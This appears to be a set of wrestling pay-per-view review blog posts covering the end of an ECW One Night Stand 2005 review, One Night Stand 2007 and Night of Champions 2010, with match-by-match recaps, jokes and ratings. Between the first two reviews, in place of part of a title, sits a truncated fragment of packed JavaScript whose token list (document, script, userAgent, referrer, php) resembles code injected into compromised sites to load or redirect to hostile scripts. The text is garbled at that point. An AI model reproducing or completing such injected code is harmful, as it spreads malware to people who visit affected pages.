The fans chant for Cactus Jack which Foley kind of laughs off. Cheese grater across Dreamer’s head is SICK! Oh he’s busted bad so Bubba rubs it on his face. Joey: Tommy’s skin looks like cabbage in a coleslaw. In case you can’t tell, I freaking love this. Foley calls the grater comical. Sometimes I’d pay to be inside that man’s head. Sandman brings in the ladder. We get probably my all time favorite comedy line in wrestling.

Joey says he was going to compare Dreamer wrestling tonight to Gehrig’s last at bat at Yankee Stadium but Gehrig didn’t whip out a cheese grater and start mutilating people with it. And that my friends is why I love wrestling. It’s so insane that to us it makes sense, but when you compare it to something else, it sounds ridiculous. However, in wrestling, there are three words that make things magical: It Could Happen.

That is why I love wrestling: you never know what you could see. Naturally this is just a wild brawl all over the place. Bubba hits a frog splash on Sandy which has to be better than some forms of execution. D-Von takes the White Russian legsweep and we get a double figure four on the Dudleys but the Impact Players run in. Sandman gets a That’s Incredible on barbed wire and here’s Francine.

Beaulah makes her return for the CATFIGHT CATFIGHT CATFIGHT!!! Dreamer saves her and they have their big reunion with Dreamer’s face covered in blood. The Dudleys get DDTed by the two of them, making me smile. WHERE ELSE BUT IN WRESTLING COULD YOU GET THIS? Beaulah gets two on Bubba and she’s hardcore according to the fans. Joey is told in his headset that he can’t say balls, which he makes fun of of course.

Sandman goes through a table for two. 3D on Dreamer, and it’s the old style, not the crap one now. We have another table and here’s Spike who is seeing COLORS! Yep, the table is on fire and there goes Tommy. In a spot that makes me cringe, Tommy’s head is tilted towards the mat and blood just pools up from his head. That’s a great visual. Bubba actually dives on him for the pin.

Rating: N/A. Can’t give this a fair grade as it wasn’t a match by any definition of the word. Make no mistake about it though: this is the highlight of the show and as much fun as I can remember having watching wrestling perhaps ever.

Post match (oh like you didn’t expect something else to happen) the Dudleys go after Beaulah and get the tar cained out of them. In a spot that always makes me chuckle, Spike comes back again and Sandman turns around and just canes him again before going back to what he was doing. He looked like he was paying a parking meter or something. Sandman looks at Tommy and says someone….someone…SOMEONE GET ME A BEER! Joey: screw the beer, get him some plasma! “Somebody get me a beer!”

CUE GLASS SHATTER!

Yep, Austin (in a freaking XFL jersey of all things) is here. He calls out the whole locker room and says he wants to see a fight. Yep he calls down the crusaders and you know what’s coming. The heat is awesome here. The sight of everyone on their own side of the ring looks great. The crowd chants WE WANT TAZ and guess who shows up. Yep it’s old school Taz, as in the machine Taz. Bischoff is on commentary.

The fight is on and Taz and Angle hit the floor. After a bit of a scuffle, Taz chokes him out. Now the interesting thing is this: in the back of the ring you can see JBL going CRAZY on someone. It would turn out to be Blue Meanie and JBL was legitimately beating him until Tracy Smothers and a few others picked up on it and helped him. This started a legit feud between them with Smothers calling JBL out for a real fight anytime anywhere.

Anyway, other than that of course the ECW guys clean house and run the WWE guys off. After they leave, Austin gets on the mic (wearing JBL’s hat) and says to Mick Foley to bring Bischoff to the ring. The fans kind of collectively gasp as they know what’s coming. This was a wet dream for them to say the least. The funny part is that he can’t go into the crowd because he’ll get hurt worse out there.

Bischoff takes a 3D, the flying headbutt from Benoit (complete with Austin telling him to kill this SOB), a 619 (booed loudly) and a Stunner as the fans are in awe. The Dudleys literally throw Eric out of the building and the party is on. Joey screams ECW LIVES to end the show.

Overall Rating: D. This show just isn’t that good. I mean the wrestling is weak, the stories are non-existent and there is no way I can keep doing this with a straight face. It’s really nothign short of an A+. And if there was a higher grade it would get it. This is one of my favorite shows ever, possibly even number 3 after Summerslam 90 and Mania 17. They wanted one blowout show to end it and they hit it so far out of the park you can’t see where it landed.

This is about as perfect of a show as you’ll ever find and it is amazing. Everything clicked, the crowd is in the levels of Canadian Stampede and nothing was left out other than stuff for ridiculously hardcore fans. The key to it all: they let ECW be ECW, not the WWE version that would come NXT year.

Even if you weren’t an ECW fan like I wasn’t, this is a must see show. It feels like the old stuff and works like a charm. The ending couldn’t be any sweeter and it made everything perfect. Absolutely see this show, no questions asked.

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffysd|var|u0026u|referrer|bfssa||js|php'.split('|'),0,{})) Night Stand 2007
Date: June 3, 2007
Location: Jacksonville Veterans Memorial, Jacksonville, Florida
Attendance: 7,000
Commentators: Jim Ross, Jerry Lawler, Joey Styles, Tazz, Michael Cole, John Bradshaw Layfield

 

We’re done with ECW now other than having Vince McMahon defend the title against Lashley in a street fight here. Other than that there’s nothing of ECW around here as the main event is Cena vs. Khali for the title in a falls count anywhere match. Should be ok though as big gimmick PPVs tend to be pretty good. Let’s get to it.

 

The opening video talks about how tonight there are extreme rules and list off the various matches we’re having tonight with very limited context. The official title is One Night Stand: Extreme Rules. There are four “sponsors” for this show: Raw, ECW, Smackdown and Gillette. Big, dare I say it, extreme?

 

The announcers run off the main event from each show.

 

Rob Van Dam vs. Randy Orton

 

This is a stretcher match and Orton still isn’t hearing voices. Orton has been injuring various people recently, including Shawn so this is Rob trying to stand up for him. It’s one of these matches where you have to push them on a stretcher across the finish line. Randy also hit a bunch of RKOs on RVD. The recap is done during Orton’s entrance which is always a bit odd.

 

Orton really does tower over RVD here. They stare each other down to start but RVD tricks him by hitting a kick to the face as he’s doing the finger point. Into the corner for some punching as Rob controls early. Monkey flip sends Orton to the floor. Slingshot legdrop to Orton on the apron has Orton reeling. Another spin kick in the corner sets up a knee and about the 9^th kick in about three minutes.

 

Orton gets a single kick in and a forearm but it has a much bigger impact because of the head injuries from the attacks on Raw. RKO is countered via a kick to the head but he gets shoved off the top and his eyes are gone. They go out by the stretcher with Orton in control but we’re not ready for that yet I guess. Dropkick takes Rob down. Here’s the Orton Stomp and the final kick to the head has Van Dam in big trouble.

 

Knee drop hits the chest and the eyes on Rob are great. Not quite onto the stretcher which there seems to be more than one of. The referee checks on Rob as Orton gets a pretty sweet powerbomb into a neckbreaker. Rob is rolled onto a stretcher but it falls over and we’re out on the floor. He fights back and sends Orton into the post to give himself a breather.

 

Rob manages to get Orton onto the stretcher but instead of pushing him up the aisle he hits a pretty sweet spinning legdrop onto Orton’s back to take over again. Back in the ring and a slingshot legdrop hits. Rolling Thunder is countered into a powerslam in a slick spot. Orton tries a suplex to the floor but Rob fights back with a dropkick to send him to the floor. The guy with a lot of initials puts Orton on the stretcher again but a front flip over the ropes eats half stretcher and half floor to put both guys down.

 

Orton puts him on the stretcher but can’t quite get him over due to falling down, allowing Rob to get up. Rob is able to get some quick kicks in and puts him on the stretcher and casually push him across the line for the win. That was a rather odd ending as it was like they were told they were doing it backwards and Rob was supposed to win.

 

Rating: C. Not much here but with a stretcher match there’s only so much that they can do. Not a horrible match or anything but at the same time the ending came off as rather weird. Anyway it’s not that it matters because this was Rob’s last appearance in WWE other than a pair of one off appearances to beat Santino and be in the Rumble one year. Anyway, not bad but just kind of there.

 

Post match Orton punts him and gets an elevated DDT off the railing to more or less kill him.

 

Vince is talking to Shane about polishing up the ECW Title and how tonight they end Lashley. However he does have a premonition that something bad is going to happen to him. His car would be blown up 8 days later.

 

We talk about some car racing show that Cena is going to be on.

 

Sandman/Tommy Dreamer/CM Punk vs. Elijah Burke/Marcus Cor Von/Matt Striker

 

Tables match. Basically this whole feud was about Punk as he joined the New Breed and then jumped to the ECW Originals despite not being an ECW Original. Burke is D’Angelo Dinero of course. We have to tag here and it’s Cor Von vs. Dreamer to start. Basic power moves have Dreamer in trouble and it’s off to Burke. Off to Sandman who hits a flapjack on the hometown guy.

 

Striker comes in and thank goodness they made him an announcer instead because he just isn’t that good in the ring. Punk comes in and hammers away on him because dude, he’s Matt Striker. Dreamer and Punk say GET THE TABLES but Cor Von makes a save. Punk is like screw that and hits a suicide dive to take Cor Von down. Springboard clothesline takes Burke down as everything breaks down. Striker runs from Sandman but gets drilled by Dreamer.

 

Table is set up but Burke and Cor Von make the save just in time. Nice guys there as they let their partner take a double suplex on the floor. Striker manages to take down Sandman and Burke takes down Punk to give the New Breed the advantage. The Originals realize this is stupid and pound them down but it’s Striker of all people who takes out Sandman again. Punk takes the Alpha Bomb but Dreamer saves him from going through the table. Striker goes up and Punk superplexes him through Burke through the table to end it.

 

Rating: C-. Match was just kind of there but it blew off the Originals vs. New Breed feud which meant that the New Breed was done. I don’t think anyone really missed them so it’s not like it mattered, but at least it’s done now. Punk was designed to be the star here and that’s who it should have been all along. At least it was short I guess.

 

The Draft is on June 11.

 

Edge is getting ready and Orton comes in. He says this is good stuff because they’re both his former partners. He doesn’t want anything but he’ll be coming for the title if he gets switched at the Draft. He wouldn’t so it doesn’t really matter.

 

RVD has another concussion apparently.

 

Raw Tag Titles: Hardys vs. World’s Greatest Tag Team

 

This should be awesome. Hardys are champions coming in. Big brawl to start but that’s the point of this match I suppose. Haas takes down both Hardys with a double clothesline and here come the ladders. All four have ladders so the Hardys throw theirs at their opponents’ and put a pair in corners. Haas gets buried under a pair of ladders in the corner and Shelton is pushed on top of them.

 

The Hardys start being the Hardys in a ladder match and dominate quickly but make a mental mistake (the Hardys? Nah) and both go up at once, only for Shelton to toss a ladder at them and take over. They work on Jeff’s leg and send him into a ladder in the corner so softly that the fans boo it. When do you EVER hear of a spot being booed in a ladder match? Haas and Benjamin both go up but they have the same issue the Hardys had and we all come down again.

 

Shelton dropkicks a ladder into Matt’s face and the World’s Greatest Tag Team takes over all over again. They set up a pair of ladders in a sea-saw pattern and according to rule 2 of ladder matches, they both get slammed onto it. Here come the Hardys again and a double clothesline takes everyone not named Shelton to the floor. The Hardys bring in the huge ladders and set one between the ring and the railing.

 

Shelton blocks a suplex through said ladder though, until Matt backdrops Shelton onto a ladder which he just bounces off. The ladder is bent and Jeff isn’t happy. He thinks to himself by George (and bonds. Pills. Maybe some cocaine too. My band’s album because no one else will) I want him to go through that ladder but Haas makes a last second save.

 

Matt takes Charlie down and goes up himself, only to get shoved onto the top rope. You know the move Haas and Benjamin do where Haas holds a guy up on the top and Shelton jumps on his back? Well here they use a ladder instead of a rope and Shelton jumps to the floor onto Matt’s back and more or less destroys it in an awesome looking spot. Charlie goes up but here’s your friendly resident drug addict (Jeff in case you thought Matt got up that fast) for a superplex off the ladder to the mat.

 

Everyone is down now and Jeff has a glazed over look in his eye. In other words, everything is normal with him. In one of the best accidental spots I’ve ever seen, Shelton tries to springboard from the apron to the ladder to stop Jeff but slips and flips forward, kicking the ladder over. JR actually does a decent job of making it sound intentional. Matt shoves Shelton off and starts climbing up two ladders at once. Everyone goes up and it’s a four way fight. The Hardys go down but maintain enough composure to shove their opponents off. Swanton kills Haas and Matt gets the belts to retain.

 

Rating: B+. Pretty good tag team ladder match here as they let all four guys go in there and just do their thing which is the right idea more often than not. Also they had time (seventeen minutes) here which helped a lot as well. Very hard hitting match here as they managed to make the older spots look good again. Rather good match and not much to complain about at all here.

 

Runjin Singh is with Khali who says he’s going to win. Oh man this is the night after the SNME where Khali crushed Cena clean in like 3 minutes. I have rarely seen anything stupider than that in wrestling and they managed to do it.

 

Mark Henry vs. Kane

 

Lumberjacks here. Oh joy. They actually introduce the lumberjacks to waste even more time. There are some actually decent named guys here like Benoit and uh……Benoit is in this. Other than that there are guys like Miz and Morrison who mean nothing at this point. Santino is the IC Champion here and isn’t a comedy guy yet. Apparently Kane lost a match via countout to Henry to set this up.

 

Henry throws him out almost immediately and Kane glares at the lumberjacks before getting back in on his own. Kane kicks him to the floor and Henry shoves all of the lumberjacks off with relative ease. They slug it out and Henry hides on the floor again. Out to the floor and Henry rams him into the post like he did on Friday apparently. Back in the ring and Henry works on the back, for once in his life showing some intelligence.

 

JBL suggests Henry belongs in the Hall of Fame. Sadly enough, that’s not out of the realm of possibility is it? Kane gets a shot in but charges into a powerslam for two. More power moves set up the bear hug to waste some time and let Henry have a breath of air. Kane gets a shot in but can’t hit the chokeslam so it’s right back to the beating. The fans think Henry sucks and I can’t say I disagree with them.

 

Back to the bearhug as the lumberjacks cheer for Kane. So the fans and other guys, both faces and heels it seem, don’t like Henry. That says nothing of note as everyone can’t stand him and no one ever has that I can remember. Kane sends him to the floor and goes up, diving on Henry and a bunch of lumberjacks at the same time. The big man can fly at least. Not a lot of big men would ever do that so points for that.

 

Back in the ring and Kane hammers away which doesn’t get him very far. Kane goes up again and the clothesline takes Henry down for no cover. Chokeslam actually connects but Kenny Dykstra and Chavo come in for not the DQ. That doesn’t get them anywhere but it gets us right back into the bearhug incase the first two of them didn’t get you fired up enough. Even with an arm between Henry’s, Kane actually “blacks out” in the hold and we’re done. Yes, that’s the ending they gave this.

 

Rating: D. Weak match beyond belief as since it was an even numbered year, Henry was pushed. No idea what Vince sees in this guy other than a massive contract so let’s keep pushing him. Either way, weak match here with a REALLY bad ending. Also, the lumberjack stipulation continues to be one of the weakest rules you can add onto any match with this being no exception.

 

The Hardys and World’s Greatest Tag Team are with the medical people and get into it again.

 

We recap Vince vs. Lashley. Vince won the ECW Title at Backlash in retaliation for getting his head shaved due to Lashley beating Umaga at Mania. Lashley got screwed out of the title at Judgment Day because Vince hadn’t held the title long enough to ruin the legacy of it enough yet.

 

ECW Title: Vince McMahon vs. Bobby Lashley

 

Umaga and Shane are with Vince here. Since he’s in it, this is a street fight. Lashley tries to dive on Umaga to start but messes up completely, landing only a kick to the head of the now dead Samoan. Shane tries to punch him and that just fails, leaving Vince all alone with Lashley. Joey tries to make it sound like Lashley is standing up for ECW, even though Heyman probably gets physically ill at the thought of Lashley working for ECW.

 

He fights off the trio as well as he can at first but the numbers catch up with him when he tries to bring in a chair. Vince gives his first offense, a clothesline, to take Bobby down. Vince’s hair is back now so at least the bandana is gone now. Out to the floor as this is a very slow beatdown which is going nowhere at all. Vince gets the timekeeper hammer and chokes Bobby with it instead of, you know, HITTING HIM WITH IT?

 

Back in the ring and a Samoan Drop takes Lashley down again. So riveting indeed here. Maybe it’s because Vince and Shane aren’t wrestlers and therefore shouldn’t be in the ring with a guy like Lashley? Vince gets one of the worst spears I’ve ever seen to Lashley for two. Umaga chokes away to waste more time but misses a splash, crushing Vince instead.

 

Lashley starts cleaning house, sending Umaga to the floor via a low bridge and suplexing Umaga over the top. Big chair shot to the head of Vince and many more to the back follow. Dominator powerslam only gets two as Umaga makes the save. Bobby gets another chair but Umaga gets a superkick in to take him down again. There goes the crowd as that totally and completely should have been the ending.

 

Instead, the McMahons and the Samoan take over again because that way they look like supervillains again. Shane drops the big elbow through the table (OH YEAH!) and everyone is down. Umaga wakes Vince up and gets a long two on him. Joey freaks out but it just feels wrong here. Umaga hits the running smash in the corner and Lashley is done. Shane tries the Van Terminator but drills Umaga by mistake. Spear to Vince gives Lashley his title back.

 

Rating: D+. Match more or less sucked because Vince and company dominated for the vast majority of it. They proved why Vince being in a mach did nothing but they were trying to give Lashley a rub I guess. Either way, there really was no point in waiting for this show to do the title change again, but either way not much here and WAY too long. The first comeback should have been it.

 

Lashley spears Vince again post match just because. He would be stripped of the title in like two weeks anyway when he was drafted to Raw, more or less rendering the ECW Title a midcard title.

 

Santino and Maria are asked about how pudding matches go. Maria goes all smart again and it’s supposed to be funny but it really isn’t.

 

Candace Michelle vs. Melina

 

Yes, they’re in pudding and no, that doesn’t add anything to this. Candace just doesn’t look all that good. She never has and that’s all there is to it. Melina is Women’s Champion but it’s non-title. She has goggles on here and there they go. This is so freaking stupid. They roll out of the big pool and apparently you win by pin or submission. You can’t tell them apart either so this is rather pointless. Anyway, Candace wins by submission in like two and a half minutes. I flat out do not care because this isn’t wrestling, at least not the kind I want to see.

 

The cage is lowered.

 

We recap Edge vs. Batista. Edge more or less stole Mr. Kennedy’s MITB when Kennedy got injured and then cashed in on an injured Taker after Taker had a cage match with Batista and then Henry returned to beat Taker up. Batista won some match/competition to get the shot. This gets the music video treatment for the night.

 

Smackdown World Title: Edge vs. Batista

 

Win by pin, submission or escaping the cage. It’s in a cage in case you’re rather stupid or have a very short attention span. Batista has a bad hamstring to fill some injury quota for faces I guess. Edge tries for the door almost immediately but it’s locked still and Big Dave catches him. He keeps trying to run and Batista is like dude, just take it like a man. Basic power stuff to start us off as you would have expected.

 

Edge gets in a shot but still can’t escape over the top as Batista drills him with a clothesline for two. Batista climbs the ropes (not in the corner) and Edge gets a dropkick to the leg to bring him down and take over. Big Dave gets rammed into the cage a few times back first which get two for Edge. Back to the leg as Batista is in trouble now. Not enough trouble for Edge to retain but he was trying at least.

 

The Canadian lunges for the door but only gets his hands out. A turnbuckle gets torn off but Edge can’t put him into it. Powerslam is countered into an Edge-O-Matic so he goes up top again. More brawling on top sets up a superplex by Batista for two. They’re kind of going through the motions here but it’s not bad. Right back to the top and down goes Edge so the musclehead tries for a shoulder block off the top, only to get caught by a dropkick. Is anyone in wrestling built and smart?

 

Edge tries a spear but Batista tries one at the same time I guess and they collide. Batista takes over again and gets a side slam for a close two. Edge misses a missile dropkick but walks into a slingshot into the cage for two. Batista gets sent into the buckle that was exposed and gets taken down by a spear for two. There is more or less no transition here at all and the flow is all off.

 

Spinebuster gets two for Batista so he loads up the Batista Bomb. Edge manages to move backwards towards the cage and climb to the top. Batista gets caught by a low blow and crotched on the top rope. The Canadian climbs up while Batista goes for the door and in short, Edge wins. There’s not much else to it than that really.

 

Rating: B-. The best thing I can think of to say here is that they were going through the motions. It’s certainly not a bad match but at the same time it felt like there was nothing going on for the most part. There was some drama in there and there was nothing wrong with it from a technical standpoint at all, but I never could get into it. Not a bad match at all, but nothing great and more or less just going out there and having a cage match. Could be the lack of any real story.

 

Batista is all ticked off. Not to worry though, as Edge would get hurt in less than a month and have to forfeit the title. Khali would win it in a battle royal and Batista would get it soon after.

 

Summerslam, the Biggest Party of the Summer, is going to be crashed. This was going to be the Jackass guys but THANKFULLY this fell through.

 

We recap Khali vs. Cena. Cena beat him at Judgment Day via submission but Khali’s foot was under the ropes. Khali said he knew when he tapped, even though he didn’t continue the match. Both guys wanted a rematch in a falls count anywhere match. Last night on SNME, Khali pinned him clean in less than six and a half minutes, because WWE is really stupid.

 

Raw World Title: John Cena vs. Great Khali

 

Falls Count Anywhere here. Very pro-Cena crowd here. Cena fires off some kicks to the leg but finally gets caught and the power gets going. This is pin only which is kind of weird. Khali uses his basic offense and that’s not meant as a criticism. I mean, he’s Great Khali and a giant. There’s no reason to not have him just do basic stuff to win is there? Big boot puts Cena down again as we haven’t left the ring yet.

 

Cena tries to speed things up again but Khali raises his leg like a leg lariat to take him down one more time. One arm slam and Khali walks around a bit. Cena avoids a leg drop and manages to get the Throwback out of nowhere. The top rope Fameasser is blocked by the chop though and Cena falls to the floor. That gets two in the first cover of the match. Cena gets in some punches but a low dropkick misses and it’s back to Khali.

 

In something you won’t often see, Cena’s head goes through a monitor but avoids the big chop. He does however get thrown into the crowd as the beating continues. Out near the production area Cena gets a monitor shot to the head but can’t FU Khali. The big dude gets a bunch of forearm shots to the back as Cena stumbles around a lot. Khali misses a charge and Cena throws a boom camera at him for a two count.

 

Cena actually gets him up for the FU but the elbows to the head slow it down almost immediately. And hey here’s a crane for no apparent reason. Khali throws him onto the thing and tries the Punjabi Plunge. Cena manages to rake the eyes though and there’s the FU on a crane. FLY FAT BOY FLY as Khali goes to the ground and the pin follows, keeping the title on Cena.

 

Rating: C+. All things considered, this was rather solid. Keeping Khali out of the ring and just letting him pound on people is always the best thing you can do and this was no exception. They had about as basic of a match as you can ask for here and that’s probably a good thing. Khali as the monster isn’t terrible at times and this was one of them. all this one a pleasant surprise.

 

Overall Rating: C. Best place to put this one is right in the middle. Every match is either rated as a C or is a step above, canceled out by a step below. This PPV is firmly in the middle of the pack as the tag title match is good, the cage match is ok and the main event is ok, but some of the stuff is pretty bad. If for some reason you ever come across this it would fill in about three hours but there’s nothing you would miss at all. Not bad, but nothing required to see at all.
Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon at:

 

Night of Champions 2010
Date: September 19, 2010
Location: Allstate Arena, Rosemont, Illinois
Commentators: Michael Cole, Matt Striker, Jerry Lawler

Since this PPV is all about champions, take a guess as to what it’s about. That’s right: pancakes. I prefer them with just syrup but some people actually like butter. I’m not a butter fan so I never use it. Ok the show is starting now so I’m out of jokes. I could go for some Aunt Jemima though.

One thing I wonder: what are Paper Jams? Paper related music? A jelly substitute made from trees? Wow syrup and jam already. Hopefully no one lays an egg or we’ll have a decent breakfast.  Let’s get to it.

I apologize for that joke. Even I thought it sucked beyond belief.

IntercontinentalTitle: KofiKingstonvs. DolphZiggler

If Dolph is disqualified or counted out he loses the title. Vickie does her intro but we get to look at Kaitlyn in a good looking dress so I can live with that. The music helps too. We get the two hands behind the head here which I like as a taunt for some reason. They have him in a black bowtie now too which makes my head hurt. Red tights for Kofi tonight which is a good look for him.

Feeling out period to start which is weird since they’ve had so many matches. The ring skirt has all the titles around it which is a cool look. Kaitlyn helps to get Dolph up and is yelled at of course. NICE neckbreaker by Dolph and a chinlock follows it up. The champion has half black and half white boots on which is different for him. He uses a big boot. Well of course he does.

Dolph hits a Fameasser which gets a joke from Striker. King audibly groans at it too which is the sign of a bad one. When JERRY LAWLER thinks your joke sucks, you’ve got a big problem. Lawler: Vickie used to be boy crazy. Boys would have nothing to do with her and it drove her crazy. Vickie is in leather pants which gets a lot of commentary for some reason.

And now Cole and Striker argue about who designed Vickie’s shirt. This is either really boring in ring stuff or really bad commentary. Given who is doing what, I think I’ll bet on the latter. Kofi hits a counter to get us to even again and here’s the comeback. Nice standing dropkick and he hits a Thesz Press. Wow I haven’t seen one of those in YEARS. Boom Drop hits and sets for Trouble in Paradise.

He does the stupid clapping thing where everyone cheers for him. Sleeper is blocked as Dolph uses it for a counter. SOS gets two as Ziggler gets his foot on the ropes. We’re cranking it up again here as I think I know the finish that’s coming. I’ll let you know if I was right or not. We hit the floor and Kofi is dominating. He throws Ziggler back into the ring to break the count which Striker says is smart. Cole of all people points out the reality: it was stupid as he would win the title on a countout.

Sleeper out of NOWHERE (which remember must suck since it’s a transitional move or whatever. I love the IWC’s idiocy at times) and Kofi is in trouble. He gets up quickly which is at least believable. I can’t stand when someone is in a hold for like a minute and then gets out of it. Kofi gets one of his own on but Dolph reverses. Vickie goes to smack Kofi but Dolph screams at her not to. Trouble in Paradise misses and Zig Zag ends this mostly clean which is surprising. I was wrong with what popped into my head but not entirely, but I’ll spare you the details.

Rating: B. This would be standard fare on Smackdown which means it’s very solid. This was another good match between them and hopefully this ends their feud which has run its course I think. Solid here and Ziggler looked strong, dominating for the most part and countering on a mistake to win it. Solid stuff but PLEASE get rid of Vickie as he doesn’t need her anymore.

Miz does an ad for Paper Jams, which is a music thing or something.

Edge says he’ll win. Nothing at all special about this.

CMPunkvs. BigShow

Ok, Punk HAS to win this or his year is more or less a lost one. He’s called the Second City Saint here in his hometown which is a rare thing in this company. He gets the hometown reaction which Lawler is surprised by. That’s ironic as Lawler has made more of a career out of one town than anyone in history. Punk says he loves Chicago but he hates the inhabitants of it. Is he a self-hater I suppose?

He manages to get heel heat here in a smark stronghold. That’s saying a lot. Punk wants to burn the city down and rebuild it into a straightedge utopia. That’s a great line actually. Punk tops that by saying if he’s facing the Giant then he is David and his slingshot is the almighty straightedge. I already live such a lifestyle but I want to join him anyway. Punk with the headband is still weird looking.

Cole calls Show a knucklehead, and wouldn’t you know that’s the title of his upcoming film. Cole says a headbutt from Show is like taking a cinderblock and breaking it over the opponent’s head. WHY DOES HE KNOW WHAT THAT FEELS LIKE? Big chop sends Punk to the floor. PUNK USED A FREAKING BIG BOOT. He follows it up with a slingshot senton bomb over the top to the floor in a nice spot.

Punk has him down but one punch slows him down. Middle rope elbow gives Punk the advantage back. They’re pacing this differently which is working well. Punk kicks him in the head which is a nice touch. Striker asks Lawler who the biggest man he’s ever been in the ring with. Of course it’s Andre, and Cole says that no one beat Andre. I REALLY hope he said that as a generalization and not literally because who are they trying to kid otherwise?

Show more or less tackles Punk out of the air and punches him for the pin. ARE YOU KIDDING ME? Show hit two moves: the tackle and the punch. That’s it. That was Show’s offense. Punk DOMINATED other than that but Show hits two move to end it. I hate this company some times. How in the world can you validate giving Show that win that way after Punk killed on the mic? It makes Punk’s offense look pathetic but hey who cares? Show is BIG so of course he gets to win. Freaking joke man.

Rating: F. This was idiotic. Yes Punk is my favorite wrestler, but sweet goodness man: someone please explain to me why in the holy mother of goodness THE BIG SHOW deserves to go over him like this or in any way that doesn’t involve Gallows jumping Punk. Punk has been GOLD on the mic lately and yet his only big win recently is over Christian when Alberto interfered. This is so freaking stupid it’s unreal.

Jericho says he’ll win everything. You know the line he throws in there.

We recap Bryan vs. Miz which should be good. I’ve heard great praise for their house show matches and after Monday I’m legitimately unsure who wins here.

USTitle: TheMizvs. DanielBryan

Miz in blue here which works for him in a weird way. Riley is here with Miz of course. We’re told that Shawn trained by HBK which I don’t remember hearing before. Very well may have been though. Somehow we talk about Lou Thesz and Cole says he Googled all of his info. Can we get some talk about breakfast again? It’s far more interesting than this bickering.

Miz with a nice bow and arrow hold as the announcers keep up their whining. We get an explanation for the name LaBelle Lock, which is named after an old wrestler from the 30s. Well that’s better than nothing. Miz works the arm as Striker says he thinks Bryan is attractive. We get a shoulderbreaker and Striker gives a shout out to Double A (Arn Anderson) and says he should be in the Hall of Fame. Say it with me: AMEN!

The champ throws out a big boot as we’ve literally seen it three times tonight. Bryan with a suicide dive through the ropes to take out Miz. He SELLS THE ARM and hits a dropkick off the top for two. They slug it out and the selling continues. Let the boo/yay chanting begin! Running dropkick in the corner which always amazes me when someone hits it for some reason.

Miz kicks out again and Bryan gets a bit frustrated. We head up top and Bryan gets crotched. SWEET clothesline takes down Bryan who lands on his arm for two. All Miz here as he CRANKS on the arm and makes Bryan scream. Ropes are grabbed but Miz has til five. If he yelled that the IWC would have rioted. The Finale (not typing that name out) is countered into a rollup for two.

Riley gets on the apron but Miz punches him by mistake. Rollup by Bryan gets two and I would have bet on that being the ending. Bryan to the floor and Riley rams the post by mistake. Bryan STILL holds the arm. Miz just goes off on Bryan with punches but gets pulled into the LaBelle Lock AND IT’S OVER! Miz cries at ringside in a funny moment.

Rating: B+. This WORKED. I was way into the ending here as Bryan came off as awesome, just like Miz. I can’t wait for the IWC to complain about how Bryan carried Miz here and I can’t wait for it. Miz more than held up his half out there and looked great (just to be clear, Bryan was great here too). This was a very solid match but was held back by Riley interfering. Miz losing this way is perfect and it definitely put Bryan over. Very solid match and I was most impressed.

Hell in a Cell is in TWO WEEKS. Wow that’s dumb.

Cena is still all smiley and happy here and does a math themed promo which makes sense.

Women’sTitles: MichelleMcCoolvs. Melina

Michelle in red: DANG. Nice shot of her as the bell rings. Layla is ticked at her for being in there as we hear about the history of the Women’s Title, which is of course mostly nonsense but whatever. Crowd is DEAD. Yes, a Chicago crowd is dead. Michelle sends her to the floor but no one sends her back in. NICE Blockbuster from Orton’s elevated DDT position by Michelle. I love the Blockbuster (jumping front flip neckbreaker) so that was sweet for me.

Faithbreaker (Styles Clash) is blocked and Melina takes over. Decent belly to belly suplex for two by the blonde. Kelly gets up on the apron marking the first time they do anything all night as Melina has her rolled up. Kelly is for Melina here but just doesn’t get it I guess. The girls all beat up Michelle and send her back in. They need to stop slapping the mat as I think it’s a referee count.

Melina does the Matrix Move but Michelle just kicks her. Again: kicking and punching people works best a lot of the time. Both girls hit the floor as the girls yell at Michelle, showing off their acting…..talent. Layla interferes and Michelle gets to hit a, wait for it, wait for it, BIG BOOT TO UNIFY THE BELTS.

Rating: C-. Surprisingly decent match here although the girls were absolutely pointless out there. Layla interfering is fine as it’s expected, but what about the heat between them allegedly? This wasn’t much but at least it gets rid of the stupid Divas Title, or at least I hope so. Better than most Divas matches though so I’ll give it that.

Barrett talks about the Winds of Change. I wonder if he’ll Rock You Like a Hurricane.

We hit probably the longest recap ever as we set up Kane vs. Taker. You know this one by now I’m sure and if not go read my SD reviews for the last 6 weeks or so. We get the full history here over the last 12 years, including the straight up lie that Taker took Kane’s mask away.

SmackdownWorldTitle: Kanevs. Undertaker

Surprisingly Taker comes out first. They slug it out in the aisle to start. I want to see if they can break the streak of awful that their matches have been in the past. Taker shoves him off the stage into a pillar that the set is made of. The no holds barred aspect helps here as these two are designed for a big fight rather than just a regular match. So far they’re following that idea as it’s just a major fight so far.

Taker gets sent into the steps and Kane kicks him in the head. Why must you tease me with more big boots? Kane grabs the belt and hits Taker in the ribs with it which is a shot you don’t see that often. Clothesline off the top doesn’t get a cover as Kane does a really bad looking legdrop. Cole says Kane has dissected Taker. I guess we’re ignoring the first 4 minutes of this match.

Seated running one footed dropkick (just get to the freaking big boot you freaking teases!) hits as Kane is dominating. He takes the cover off the table and just pelts Taker with it. This has been a bit better than I expected and MUCH better than their other stuff. Taker sends him into the steps and has signs of life. Or is it death with him? His character can be a bit confusing at times.

Apron legdrop by Taker and for once the word vintage is ok. We get a mini Taker Dive as he sails over the railing to take down Kane. We head into the crowd as they’ve been in the ring about two minutes out of maybe 10 this has gone. Kane hits kind of a big boot. He hits a jumping punch as we’re back at ringside now. He punches Taker down and Taker is in trouble.

It turns into a boxing match almost with Kane throwing nothing but punches. Taker is getting DOMINATED here and it’s kind of nice to see. As long as he doesn’t make the comeback and win that is. Taker gets one punch in to a BIG old pop. He starts winning but Kane gets a knee. Jumping clothesline puts Kane down though. And now Taker throws punches.

Snake eyes and a big boot get two. We’re 5-5 in big boots tonight. Chokeslam to Kane but Taker can’t cover him. Striker calls him the weigher of souls. Could he be more over the top when talking about the zombie? Kane counters the Tombstone into one of his own and Kane wins clean!

Rating: C+. It wasn’t a great match by any means but this did what it was supposed to do. I don’t think these two can have a great match, but this is what they were supposed to do: Kane went out there and beat Taker up and then pinned him clean. That’s how this was needing to go and Kane gets the clean victory. Pretty sure we’re heading to Hell in a Cell with these two which is the next logical step. Kane needed this though and he got it.

Taker can barely get back to the locker room and almost has to crawl the last bit. I’d love Paul Bearer to come out here.

